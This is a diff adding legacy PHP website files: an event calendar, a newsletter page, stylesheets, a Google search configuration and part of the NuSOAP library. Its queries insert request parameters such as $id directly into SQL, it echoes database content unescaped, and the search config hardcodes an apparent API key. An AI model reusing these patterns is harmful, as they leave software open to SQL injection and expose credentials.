+ date("Y",$timestamp)
+ ));
+}
+if(!$year)
+ {
+ $year = date("Y");
+ }
+if(!$month || $month == "All")
+ {
+ $month = date("n");
+ }
+if(ereg("^0([0-9]).*",$month,$part))
+ $month = $part[1];
+$st = mktime(0,0,0,$month,1,$year);
+$starting = date("m-d-Y",firstDayOfMonth($st));
+$ending = date("m-d-Y",lastDayOfMonth($st));
+// Topic is disabled for the calendar view output.
+/* if(isset($topic) && $topic != "All")
+{
+ $addpart .= " AND topicid = $topic ";
+} */
+
+$query = "SET DATESTYLE TO 'SQL,US';
+SELECT id,header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't'";
+$query .= "AND bdate <= '$ending'
+ AND edate >= '$starting' $addpart";
+$query .= "ORDER BY bdate DESC,btime ASC";
+$events_data = db_auto_get_data($query,CONN_STR);
+if(is_array($events_data))
+ {
+ foreach($events_data as $key=>$row)
+ {
+ $daysow = (int)$row["daysow"];
+ $mon = (int)$row["mon"];
+ $day = (int)$row["day"];
+ $yr = (int)$row["yr"];
+ $mon2 = (int)$row["mon2"];
+ $day2 = (int)$row["day2"];
+ $yr2 = (int)$row["yr2"];
+ $sdate = mktime(0,0,30,$mon,$day,$yr);
+ $edate = mktime(0,0,30,$mon2,$day2,$yr2);
+ for($d=$day;$d<32;$d++)
+ {
+ // find the current_doyow
+ //echo "current day = $d<br>";
+ $cur_dow = date("w",mktime(0,0,30,$mon,$d,$yr));
+ switch($cur_dow)
+ {
+ case 0:
+ $cur_dow = 1;
+ break;
+ case 1:
+ $cur_dow = 2;
+ break;
+ case 2:
+ $cur_dow = 4;
+ break;
+ case 3:
+ $cur_dow = 8;
+ break;
+ case 4:
+ $cur_dow = 16;
+ break;
+ case 5:
+ $cur_dow = 32;
+ break;
+ case 6:
+ $cur_dow = 64;
+ break;
+ }
+ $date = date("m-d-Y",mktime(0,0,30,(int)$mon,(int)$d,(int)$yr));
+ $daysinmonth = date("t",mktime(0,0,30,$mon,$d,$yr));
+ $time = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $starttime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $endtime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ if( $row["reacur"] != "t")
+ {
+ if($starttime<=$time && $endtime>=$time )
+ $newdata["$date"][] = $row;
+ }
+ elseif((int)$cur_dow&$daysow)
+ {
+ //echo $cur_dow."<br>";
+ if($edate>=$time && $sdate<=$time )
+ $newdata["$date"][] = $row;
+ }
+ if($row["reacur"]=="" || $row["reacur"]=="f")
+ {
+ $d = 32;
+ break;
+ }
+ if($mon2>$mon && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ $mon=1;
+ }
+ if($yr2>$yr && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ $mon=1;
+ }
+ if($yr2>$yr && $mon==12)
+ {
+ $d=0;
+ $mon=0;
+ $yr++;
+ }
+ }
+ }
+ }
+$GLOBALS['newdata'] = $newdata;
+//echo '<pre>';
+// print_r($newdata);
+//echo '</pre>';
+function show_event_headers($date){
+ global $newdata;
+ if(ereg("([0-9]{1,2})[-/]([0-9]{1,2})[-/]([0-9]{4})",$date,$dpart))
+ {
+ $month = (int)$dpart[1];
+ $year = (int)$dpart[3];
+ }
+ if(!is_array($newdata[$date]))
+ return(false);
+ else{
+ foreach($newdata[$date] as $num=>$data){
+ $data2[] = '<a href="index.phtml?month='.$month.'&year='.$year.'&eventid='.$data[id].'">'.$data[header].'</a>';
+ }
+ $output = implode("<br>",$data2);
+ echo $output;
+ }
+}
+function data( $month, $day, $year ) {
+ global $newdata;
+ if($month < 10)
+ $month = '0'.$month;
+ if((int)$day < 10)
+ $day = '0'.$day;
+ $date = $month.'-'.$day.'-'.$year;
+ //echo "date = $date<br>";
+ if($newdata[$date]){
+ show_event_headers($date);
+ }
+ else
+ {
+ return(false);
+ }
+}
+$name_month = array (
+ 1 => "January",
+ 2 => "Febuary",
+ 3 => "March",
+ 4 => "April",
+ 5 => "May",
+ 6 => "June",
+ 7 => "July",
+ 8 => "August",
+ 9 => "September",
+ 10 => "October",
+ 11 => "November",
+ 12 => "December"
+ );
+function calendar( $month, $year, $size, $href ,$href2) {
+ global $RIGHTLINK,$LEFTLINK;
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+ // Change to month/year to display
+ if( !isset( $month ) )
+ $month = date('m');
+ if( !isset( $year ) )
+ $year = date('Y');
+ $next = $month +1;
+ $next_year = $year;
+ $prev = $month -1;
+ $prev_year = $year;
+ if( $next == 13 )
+ {
+ $next = 1;
+ $next_year++;
+ }
+ if( $next == 0 )
+ {
+ $next = 12;
+ $next_year--;
+ }
+ if( $prev == 13 )
+ {
+ $prev = 1;
+ $prev_year++;
+ }
+ if( $prev == 0 )
+ {
+ $prev = 12;
+ $prev_year--;
+ }
+ $prev_month = '<a href="'.$href.$prev.'&year='.$prev_year.'">'.$LEFTLINK.'</a>';
+ $next_month = '<a href="'.$href.$next.'&year='.$next_year.'">'.$RIGHTLINK.'</a>';
+ // How to display the titles on the header of the calendar
+ if( $size == 2 )
+ {
+ $height = 50;
+ $width = 60;
+ $table_width = 550 ;
+ $week_titles = array
+ (
+ 0 => "Sunday",
+ 1 => "Monday",
+ 2 => "Tuesday",
+ 3 => "Wednesday",
+ 4 => "Thursday",
+ 5 => "Friday",
+ 6 => "Saturday"
+ );
+ }
+ if( $size == 1 )
+ {
+ $height = 1;
+ $width = 1;
+ $table_width = 100;
+ $week_titles = array
+ (
+ 0 => "S",
+ 1 => "M",
+ 2 => "T",
+ 3 => "W",
+ 4 => "T",
+ 5 => "F",
+ 6 => "S"
+ );
+ }
+ // determine total number of days in a month
+ $totaldays = 0;
+ while ( checkdate( $month, $totaldays + 1, $year ) )
+ $totaldays++;
+ // build table
+ echo '<table class="caltable" border="1">';
+ $calendar = date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+ echo '<tr>
+ <td class="caltitle">'.$prev_month.'</td>
+ <td colspan="5" class="calmonth"> '.$calendar.' '.$year.'</td>
+ <td class="caltitle">'.$next_month.'</td>
+ </tr>';
+ echo '<tr>';
+ //echo '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+ for ( $x = 0; $x < 7; $x++ )
+ {
+ echo '<td class="caldayheader">'.$week_titles[$x].'</td>';
+ }
+ echo '</tr>';
+ // ensure that a number of blanks are put in so that the first day of the month
+ // lines up with the proper day of the week
+ $offset = date( "w", mktime( 0, 0, 0, $month, 0, $year ) ) + 1;
+ echo '<tr>';
+ if ( $offset > 0 && $offset != 7 )
+ echo str_repeat( "<td class=\"calspacer\"> </td>",$offset);
+ if( $offset == 7 )
+ $offset = 0;
+ // start entering in the information
+ for ( $day = 1; $day <= $totaldays; $day++ ) {
+ echo '<td class="calday" valign="top">';
+ echo $day.'<br>';
+ data( $month, $day, $year );
+ echo '</td>';
+ $offset++;
+ // if we're on the last day of the week, wrap to the other side
+ if ( $offset > 6 )
+ {
+ $offset = 0;
+ echo '</tr>';
+ if ( $day < $totaldays )
+ echo '<tr>';
+ }
+ }
+ // fill in the remaining spaces for the end of the month, just to make it look
+ // pretty
+ if ( $offset > 0 )
+ $offset = 7 - $offset;
+ if ( $offset > 0 )
+ echo str_repeat( "<td class=\"calspacer\"> </td>", $offset );
+ // end the table
+ echo '</tr></table>';
+}
+?>
--- /dev/null
+<?
+/******************************************************************************
+ *
+ * $Id: glm-Newsletter-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output
+ * glm-Newsletter-2-0
+ * copyright 2001
+ * Author:Steve Sutton
+ *
+ ******************************************************************************/
+
+//include("setup.phtml");
+
+if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG,1);
+
+$catid = 3;
+
+if(isset($id))
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE (status = 'archived'
+ OR status = 'current')
+ AND catid = $catid
+ ORDER BY status DESC";
+ }
+else
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE status = 'archived'
+ AND catid = 1";
+ }
+
+if(!$archres = db_exec($dbd,$archqs))
+ html_error(DB_ERROR_MSG,1);
+
+
+if(pg_numrows($archres)>0)
+ {
+ for($a=0;$a<pg_numrows($archres);$a++)
+ {
+ $archrow = db_fetch_array($archres,$a,PGSQL_ASSOC);
+ if($archrow[status]=="current")
+ {
+ $archive[$archrow[title]." (current)"] = "news.phtml?id=$archrow[id]";
+ }
+ else
+ {
+ $archive[$archrow[title]] = "news.phtml?id=$archrow[id]";
+ }
+ }
+ }
+
+if(isset($id) && $id != "")
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE id = $id";
+ }
+else
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE status = 'current'
+ AND catid = $catid";
+ }
+
+if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG,1);
+
+if(pg_numrows($res)>0)
+ {
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ if($row[image] != "")
+ {
+ $img = "<img src=\"".MIDSIZED.$row[image]."\" align=left hspace=10 vspace=10>";
+ }
+ else
+ {
+ $img = " ";
+ }
+/* begin output for main section of newsletter */
+?>
+<center>
+
+<table width=400>
+<tr>
+ <td class="header"><?echo $row[title]?></td>
+</tr>
+<tr>
+ <td align=left class="subheadline"><?echo $row[header]?></td>
+</tr>
+<tr>
+ <td class="content"><?echo $img.nl2br($row[description])?></td>
+</tr>
+<tr><td> </td></tr>
+<?
+/* end output for main section of newsletter */
+if($row[id])
+ {
+ $blockqs = "SELECT header,description,image,pos
+ FROM news_block
+ WHERE news_id = $row[id]
+ ORDER BY pos";
+
+ if(!$blockres = db_exec($dbd,$blockqs))
+ html_error(DB_ERROR_MSG,1);
+
+ if(pg_numrows($blockres)>0)
+ {
+ for($i=0;$i<pg_numrows($blockres);$i++)
+ {
+ if($i%2==0)
+ $align = "align=right";
+ else
+ $align = "align=left";
+ $blockrow = db_fetch_array($blockres,$i,PGSQL_ASSOC);
+ if($blockrow[image] != "")
+ {
+ $blockimg = "<img src=\"".MIDSIZED.$blockrow[image]."\"$align>";
+ }
+ else
+ {
+ $blockimg = " ";
+ }
+ /* begin output for block sections of newsletter */
+ ?>
+ <tr>
+ <td align=left class="header"><?echo $blockrow[header]?></td>
+ </tr>
+ <tr>
+ <td class="content"><?echo $blockimg.nl2br($blockrow[description])?></td>
+ </tr>
+ <tr><td> </td></tr>
+ <?
+ }
+ }
+ }
+?>
+<tr><td><B>Newsletters</b><br>
+<?
+if(is_array($archive))
+ {
+ echo html_nav_table($archive,1);
+ }
+?></td></tr>
+</table>
+</center>
+<?
+/* end output for block sections of newsletter */
+ }
+else
+ {
+ ?> <div class="content">
+ No Newsletter today!
+ </div>
+ <?
+ }
+
+?>
--- /dev/null
+.req {color: c00;}
+#contact table {
+ background-color: #F9FBFD;
+ color: #000;
+ width: 400px;
+ border: 1px solid #D7E5F2;
+ border-collapse: collapse;
+ margin-top: 50px;
+ margin-left: 20px;
+ font-size: 12px;}
+
+ form, input, textarea, select
+ {font-size: 12px;
+ font-family: arial,Arial, Helvetica, sans-serif;
+ }
+.labelcell, .fieldcell, .smalllabelcell, .smallfieldcell, textarea {color: #000;}
+
+#contact td {
+ border: 1px solid #D7E5F2;
+ padding-left: 4px;
+}
+
+.labelcell {
+ background-color: transparent;
+ width: 150px;
+}
+
+.fieldcell {
+ background-color: #F2F7FB;
+ text-align: left;
+ margin-right: 0px;
+ padding-right: 0px;
+}
+
+.smalllabelcell {
+ background-color: transparent;
+}
+
+.smallfieldcell {
+ background-color: #F2F7FB;
+ text-align: left;
+
+}
+.fieldcell input {
+ background-color: #fff;
+ margin-right: 0px;
+
+}
+
+.smallfieldcell input {
+ width: 100px;
+ background-color: #fff;
+}
+
+.smallfieldcell select {
+ background-color: #fff;
+}
+textarea {width: 250px; height: 100px;display:block;}
--- /dev/null
+div.thumb {
+ margin-right: 3px;
+ border: 0px solid #EFF3FF;
+ height: auto;
+ float: left;
+ text-align: center;
+ }
+.thumb img{
+ display: inline;
+ margin: 1px;
+ border: 0px solid #B3D1EF;
+ }
+.thumb a:hover img {border: 0px solid black;}
+.photocattitle {text-align: center; font-weight: normal; width: 130px;margin: 2px;}
+.phototitle {text-align: center; font-weight: normal; width: 130px;margin: 2px;}
--- /dev/null
+<?php
+ function MainSearchSite()
+ {
+ return "mackinacparks.com";//Leave blank for the entire web.
+ }
+
+ function ShowOptions()
+ {
+ return false;//Set to false to hide the option radio buttons.
+ }
+
+ function GoogleKey()
+ {
+ return "jHozShpQFHKmGUeubtNSrLJ4WUKKBcIo";
+ }
+
+ function GoogleAPIURL()
+ {
+ return "http://api.google.com/search/beta2";
+ }
+
+ function MaxResults()
+ {
+ return 10;//Cannot be greater than 10.
+ }
+
+ function PageSpread()
+ {
+ return 9;//Should not be excessive.
+ }
+
+ function SmartyClass()
+ {
+ return "google/smarty/Smarty.class.php";
+ }
+
+ function SmartyCompileDir()
+ {
+ return "compile";
+ }
+
+ function SmartyIsSubDir()
+ {
+ //This is set to true if SmartyCompileDir is supposed to be a subdirectory off of the current
+ //working directory.
+ return true;
+ }
+
+ function DirDelimiter()
+ {
+ return "/";//This should be "/" for Unix or Linux, and should be "\\" for Windows.
+ }
+
+ function FullSmartyCompileDir()
+ {
+ if (SmartyIsSubDir())
+ {
+ $Result = getcwd().DirDelimiter().SmartyCompileDir().DirDelimiter();
+ }
+ else//SmartyCompileDir contains an absolute path.
+ {
+ $Result = SmartyCompileDir();
+ }
+ return $Result;
+ }
+?>
--- /dev/null
+<?php
+ include_once('background.php');
+ include_once(SmartyClass());
+
+ function sFooter()
+ {
+ $FooterTemplate = new Smarty;
+ $FooterTemplate ->compile_dir = FullSmartyCompileDir();
+ return $FooterTemplate ->fetch('footer.tpl.htm');
+ }
+?>
--- /dev/null
+<div align="center">
+ <center>
+ <table border="0" style="border-collapse: collapse" bordercolor="#111111" cellpadding="0" cellspacing="0">
+ <tr>
+ <td>
+ <p align="center"><font face="Verdana" size="1"> </font></td>
+ </tr>
+ <tr>
+ <td>
+ <p align="center"><font face="Verdana" size="1"> </font></td>
+ </tr>
+ <tr>
+ <td>
+ <p align="center"><font size="1" face="Verdana">Powered by <a href="http://www.thinkbling.com">
+ ThinkBling.com</a></font></td>
+ </tr>
+</table></center>
+</div>
--- /dev/null
+<?php
+ function Font($Font, $Size, $Text, $Color)
+ {
+ if ($Color != "")
+ {
+ $Color = " COLOR=\"".$Color."\"";
+ }
+ return "<FONT FACE=\"$Font\" SIZE=\"$Size\"$Color>$Text</FONT>";
+ }
+
+ function nbsp($Text)
+ {
+ return " $Text ";
+ }
+
+ function Line($Text)
+ {
+ return "<SPAN STYLE=\"text-decoration: line-through\">".$Text."</SPAN>";
+ }
+
+ function Table($HTML)
+ {
+ return "<TABLE>$HTML</TABLE>";
+ }
+
+ function TableW($HTML, $Width)
+ {
+ return "<TABLE WIDTH=\"$Width\">$HTML</TABLE>";
+ }
+
+ function href($HTML, $URL)
+ {
+ return "<A HREF=\"$URL\">$HTML</A>";
+ }
+
+ function hreft($HTML, $URL, $Target)
+ {
+ return "<A HREF=\"$URL\" TARGET=\"$Target\">$HTML</A>";
+ }
+
+ function Img($Text)
+ {
+ if ($Text != "")
+ {
+ return "<IMG SRC=\"$Text\" BORDER=\"0\">";
+ }
+ else
+ {
+ return "";
+ }
+ }
+
+ function TRTDW($Text, $Width)
+ {
+ return TR(TDW(Center($Text),$Width));
+ }
+
+ function TRTDC($Text)
+ {
+ return TR(TD(Center($Text)));
+ }
+
+ function Center($Text)
+ {
+ return "<CENTER>$Text</CENTER>";
+ }
+
+ function TRTD($Text)
+ {
+ return TR(TD($Text));
+ }
+
+ function TR($Text)
+ {
+ return "<TR>$Text</TR>";
+ }
+
+ function TDC($Text)
+ {
+ return TD(Center($Text));
+ }
+
+ function TD($Text)
+ {
+ return "<TD VALIGN=\"top\">$Text</TD>";
+ }
+
+ function TDWC($Text, $Width)
+ {
+ return TDW(Center($Text), $Width);
+ }
+
+ function TDW($Text, $Width)
+ {
+ return "<TD VALIGN=\"top\" WIDTH=\"$Width\">$Text</TD>";
+ }
+
+ //Returns the string "selected" if $Type1 and $Type2 are the same (Not case sensitive).
+ function Selected($Type1, $Type2)
+ {
+ $Result = "";
+ if (strtoupper($Type1) == strtoupper($Type2))
+ {
+ $Result = "selected";
+ }
+ return $Result;
+ }
+
+ function PopUp($Page,$Name,$W,$H,$Caption)
+ {
+ $Result = "<a HREF=\"javascript:void window.open('$Page','$Name','top=0, left=0, toolbar=0,location=1,directories=0,status=1,menubar=0,resizable=1,scrollbars=1,width=$W,height=$H')\">$Caption</a>";
+ return $Result;
+ }
+
+ //GetParam checks against POST, GET and then Cookies. If they don't exist
+ // then $Default is used.
+ function GetParam($Param, $Default)
+ {
+ $Result = "";
+
+ //Get the parameter if has been past in via POST
+ if(isset($_POST[$Param]))
+ {
+ $Result = rawurldecode($_POST[$Param]);
+ }
+ else
+ {
+ //Get the parameter if has been past in via GET
+ if(isset($_GET[$Param]))
+ {
+ $Result = rawurldecode($_GET[$Param]);
+ }
+ else
+ {
+ //Get the paramenter if a cookie exists for it.
+ if (isset($_COOKIE[strtoupper($Param)]))
+ {
+ $Result = rawurldecode($_COOKIE[strtoupper($Param)]);
+ }
+ else
+ {
+ //The parameter hasn't been set.
+ $Result = $Default;
+ }
+ }
+ }
+ return $Result;
+ }
+?>
\ No newline at end of file
--- /dev/null
+<?php
+ //include_once("../search_header.htm");
+ include_once("search.php");
+ include_once("results.php");
+ include_once("footer.php");
+
+ echo Search().sFooter();//.SearchResults().sFooter();
+?>
--- /dev/null
+<?php
+
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+If you have any questions or comments, please email:
+
+Dietrich Ayala
+dietrich@ganx4.com
+http://dietrich.ganx4.com/nusoap
+
+NuSphere Corporation
+http://www.nusphere.com
+
+*/
+
+/* load classes
+
+// necessary classes
+require_once('class.soapclient.php');
+require_once('class.soap_val.php');
+require_once('class.soap_parser.php');
+require_once('class.soap_fault.php');
+
+// transport classes
+require_once('class.soap_transport_http.php');
+
+// optional add-on classes
+require_once('class.xmlschema.php');
+require_once('class.wsdl.php');
+
+// server class
+require_once('class.soap_server.php');*/
+
+
+// make errors handle properly in windows (thx, thong@xmethods.com)
+error_reporting(2039);
+
+/**
+* set schema version
+*
+* @var XMLSchemaVersion
+* @access public
+*/
+$XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema';
+
+/**
+* load namespace uris into an array of uri => prefix
+*
+* @var namespaces
+* @access public
+*/
+$namespaces = array(
+ 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+ 'xsd' => $XMLSchemaVersion,
+ 'xsi' => $XMLSchemaVersion.'-instance',
+ 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+ 'si' => 'http://soapinterop.org/xsd');
+
+/**
+*
+* nusoap_base
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @version v 0.6
+* @access public
+*/
+
+class nusoap_base {
+
+ var $title = 'NuSOAP';
+ var $version = '0.6';
+ var $error_str = false;
+ // toggles automatic encoding of special characters
+ var $charencoding = true;
+
+ /**
+ * set default encoding
+ *
+ * @var soap_defencoding
+ * @access public
+ */
+ var $soap_defencoding = 'UTF-8';
+
+ /**
+ * load namespace uris into an array of uri => prefix
+ *
+ * @var namespaces
+ * @access public
+ */
+ var $namespaces = array(
+ 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+ 'xsd' => 'http://www.w3.org/2001/XMLSchema',
+ 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
+ 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+ 'si' => 'http://soapinterop.org/xsd');
+ /**
+ * load types into typemap array
+ * is this legacy yet?
+ * @var typemap
+ * @access public
+ */
+ var $typemap = array(
+ 'http://www.w3.org/2001/XMLSchema' => array(
+ 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double',
+ 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'',
+ 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string',
+ // derived datatypes
+ 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'',
+ 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer',
+ 'negativeInteger'=>'integer','long'=>'','int'=>'integer','short'=>'','byte'=>'','nonNegativeInteger'=>'integer',
+ 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''),
+ 'http://www.w3.org/1999/XMLSchema' => array(
+ 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double',
+ 'float'=>'double','dateTime'=>'string',
+ 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'),
+ 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'),
+ 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array')
+ );
+
+ /**
+ * entities to convert
+ *
+ * @var xmlEntities
+ * @access public
+ */
+ var $xmlEntities = array('quot' => '"','amp' => '&',
+ 'lt' => '<','gt' => '>','apos' => "'");
+
+ /**
+ * constructor: loads schema version
+ */
+ function nusoap_base(){
+ global $XMLSchemaVersion;
+ $this->XMLSchemaVersion = $XMLSchemaVersion;
+ }
+
+ /**
+ * adds debug data to the class level debug string
+ *
+ * @param string $string debug data
+ * @access private
+ */
+ function debug($string){
+ $this->debug_str .= get_class($this).": $string\n";
+ }
+
+ /**
+ * returns error string if present
+ *
+ * @return boolean $string error string
+ * @access public
+ */
+ function getError(){
+ if($this->error_str != ""){
+ return $this->error_str;
+ }
+ return false;
+ }
+
+ /**
+ * sets error string
+ *
+ * @return boolean $string error string
+ * @access private
+ */
+ function setError($str){
+ $this->error_str = $str;
+ }
+
+ /**
+ * serializes PHP values in accordance w/ section 5
+ * @return string
+ * @access public
+ */
+ function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false){
+ //print "in serialize_val: $val, $name, $type, $name_ns, $type_ns<br>";
+ // if no name, use item
+ $name = (!$name|| is_numeric($name)) ? 'noname' : $name;
+ // if name has ns, add ns prefix to name
+ if($name_ns){
+ $prefix = 'nu'.rand(1000,9999);
+ $name = $prefix.':'.$name;
+ $xmlns .= " xmlns:$prefix=\"$name_ns\"";
+ }
+ // if type is prefixed, create type prefix
+ if($type_ns == $this->namespaces['xsd'] || $type_ns == ''){
+ // need to fix this. shouldn't default to if no ns specified
+ // w/o checking against typemap
+ $type_prefix = 'xsd';
+ } elseif($type_ns){
+ $type_prefix = 'ns'.rand(1000,9999);
+ $xmlns .= " xmlns:$type_prefix=\"$type_ns\"";
+ }
+ // serialize attributes if present
+ if($attributes){
+ foreach($attributes as $k => $v){
+ $atts .= " $k=\"$v\"";
+ }
+ }
+ // detect type and serialize
+ switch(true) {
+ case is_null($val):
+ $xml .= "<$name$xmlns xsi:type=\"xsd:nil\"/>\n";
+ break;
+ case (is_bool($val) || $type == 'boolean'):
+ if(!$val){
+ $val = 0;
+ }
+ $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":boolean\"$atts>$val</$name>\n";
+ break;
+ case (is_int($val) || is_long($val) || $type == 'int'):
+ $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":int\"$atts>$val</$name>\n";
+ break;
+ case (is_float($val)|| is_double($val) || $type == 'float'):
+ $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":float\"$atts>$val</$name>\n";
+ break;
+ case (is_string($val) || $type == 'string'):
+ if($this->charencoding){
+ $val = htmlspecialchars($val);
+ }
+ $xml .= "<$name$xmlns xsi:type=\"".$type_prefix.":string\"$atts>$val</$name>\n";
+ break;
+ case is_object($val):
+ break;
+ break;
+ case (is_array($val) || $type):
+ // detect if struct or array
+ if(ereg("^[0-9]+$",key($val)) || ereg('^ArrayOf',$type)){
+ foreach($val as $v){
+ $tt = gettype($v);
+ $array_types[$tt] = 1;
+ $xml .= $this->serialize_val($v,'item');
+ if(is_array($v) && is_numeric(key($v))){
+ $i += sizeof($v);
+ } else {
+ $i += 1;
+ unset($array_types['array']);
+ }
+ }
+ if(count($array_types) > 1){
+ $array_typename = "xsd:ur-type";
+ } else {
+ $array_typename = "xsd:".$tt;
+ }
+ if($array_types['array']){
+ $array_type = $i.",".$i;
+ } else {
+ $array_type = $i;
+ }
+ $xml = "<$name xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\"$atts>\n".$xml."</$name>\n";
+ } else {
+ // got a struct
+ if($type && $type_prefix){
+ $type_str = " xsi:type=\"$type_prefix:$type\"";
+ }
+ $xml .= "<$name$xmlns$type_str$atts>\n";
+ foreach($val as $k => $v){
+ $xml .= $this->serialize_val($v,$k);
+ }
+ $xml .= "</$name>\n";
+ }
+ break;
+ default:
+ $xml .= "not detected, got ".gettype($val)." for $val\n";
+ break;
+ }
+ return $xml;
+ }
+
+ /**
+ * serialize message
+ *
+ * @param string body
+ * @param string headers
+ * @param array namespaces
+ * @return string message
+ * @access public
+ */
+ function serializeEnvelope($body,$headers=false,$namespaces=array()){
+ // serialize namespaces
+ foreach(array_merge($this->namespaces,$namespaces) as $k => $v){
+ $ns_string .= "\n xmlns:$k=\"$v\"";
+ }
+ // serialize headers
+ if($headers){
+ $headers = "<SOAP-ENV:Header>\n".$headers."</SOAP-ENV:Header>\n";
+ }
+ // serialize envelope
+ return
+ "<?xml version=\"1.0\"?".">\n".
+ "<SOAP-ENV:Envelope SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"$ns_string>\n".
+ $headers.
+ "<SOAP-ENV:Body>\n".
+ $body.
+ "</SOAP-ENV:Body>\n".
+ "</SOAP-ENV:Envelope>\n";
+ }
+
+ function formatDump($str){
+ $str = htmlspecialchars($str);
+ return nl2br($str);
+ }
+}
+
+// XML Schema Datatype Helper Functions
+
+//xsd:dateTime helpers
+
+/**
+* convert unix timestamp to ISO 8601 compliant date string
+*
+* @param string $timestamp Unix time stamp
+* @access public
+*/
+function timestamp_to_iso8601($timestamp,$utc=true){
+ $datestr = date("Y-m-d\TH:i:sO",$timestamp);
+ if($utc){
+ $eregStr =
+ "([0-9]{4})-". // centuries & years CCYY-
+ "([0-9]{2})-". // months MM-
+ "([0-9]{2})". // days DD
+ "T". // separator T
+ "([0-9]{2}):". // hours hh:
+ "([0-9]{2}):". // minutes mm:
+ "([0-9]{2})(\.[0-9]*)?". // seconds ss.ss...
+ "(Z|[+\-][0-9]{2}:?[0-9]{2})?"; // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's
+
+ if(ereg($eregStr,$datestr,$regs)){
+ return sprintf("%04d-%02d-%02dT%02d:%02d:%02dZ",$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]);
+ }
+ return false;
+ } else {
+ return $datestr;
+ }
+}
+
+/**
+* convert ISO 8601 compliant date string to unix timestamp
+*
+* @param string $datestr ISO 8601 compliant date string
+* @access public
+*/
+function iso8601_to_timestamp($datestr){
+ $eregStr =
+ "([0-9]{4})-". // centuries & years CCYY-
+ "([0-9]{2})-". // months MM-
+ "([0-9]{2})". // days DD
+ "T". // separator T
+ "([0-9]{2}):". // hours hh:
+ "([0-9]{2}):". // minutes mm:
+ "([0-9]{2})(\.[0-9]+)?". // seconds ss.ss...
+ "(Z|[+\-][0-9]{2}:?[0-9]{2})?"; // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's
+ if(ereg($eregStr,$datestr,$regs)){
+ // not utc
+ if($regs[8] != "Z"){
+ $op = substr($regs[8],0,1);
+ $h = substr($regs[8],1,2);
+ $m = substr($regs[8],strlen($regs[8])-2,2);
+ if($op == "-"){
+ $regs[4] = $regs[4] + $h;
+ $regs[5] = $regs[5] + $m;
+ } elseif($op == "+"){
+ $regs[4] = $regs[4] - $h;
+ $regs[5] = $regs[5] - $m;
+ }
+ }
+ return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z");
+ } else {
+ return false;
+ }
+}
+
+
+?>
+<?php
+
+/**
+* soap_fault class, allows for creation of faults
+* mainly used for returning faults from deployed functions
